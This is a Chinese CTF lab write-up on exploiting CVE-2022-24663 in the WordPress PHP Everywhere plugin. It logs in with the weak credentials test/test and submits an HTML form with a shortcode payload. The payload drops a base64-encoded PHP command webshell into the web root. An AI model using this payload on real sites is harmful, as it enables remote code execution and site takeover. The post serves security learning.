春秋云境:CVE-2022-24663
文章合集:春秋云境系列靶场记录(合集)
关注WX:【小白SEC】查看更多内容……
wordpress插件PHP Everywhere RCE:CVE-2022-24663
漏洞介绍
远程代码执行漏洞,任何订阅者都可以利用该漏洞发送带有“短代码”参数设置为 PHP Everywhere 的请求,并在站点上执行任意 PHP 代码。P.S. 存在常见用户名低权限用户弱口令
解题步骤
题外话
这个目标对于我是真的难搞,看不懂,很佩服网上直接搞出来并写了wp的大哥“玻璃人小高”,文章放这了:https://blog.csdn.net/weixin_45275983/article/details/128018131,这个我只能按照这个大哥写的做了,进入正题
-
访问目标站点,按照上面大哥的文章,通过弱口令test/test进入,我是真没想到这个弱口令
-
进入之后,现在是订阅者权限,就是低权限,我们选择修改代码,在任意页面插入以下代码,记得要修改域名为自己现在做的靶场域名:
<form action="http://eci-2z9se9cvra1hc6r9iirp.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php" method="post">
<input name="action" value="parse-media-shortcode" />
<textarea name="shortcode">[php_everywhere] <?php file_put_contents("/var/www/html/fuck.php",base64_decode("PD9waHAgc3lzdGVtKCRfR0VUWzFdKTsgPz4=")); ?>[/php_everywhere]</textarea>
<input type="submit" value="Execute" />
</form>
-
怎么插这个代码呢?之前真不会,现在也算是学习到了,先开启浏览器的开发者工具,按图中顺序,定位到代码位置
-
鼠标右键选择【Edit as HTML】
-
出现这个框之后,直接把这个框里面的内容全部替换成上面的代码,然后直接点击【Execute】:
-
提交之后会出现一段代码,其中有个关键字【success】,表示提交成功:
-
访问刚才上传的shell,成功获得flag
文章合集:春秋云境系列靶场记录(合集)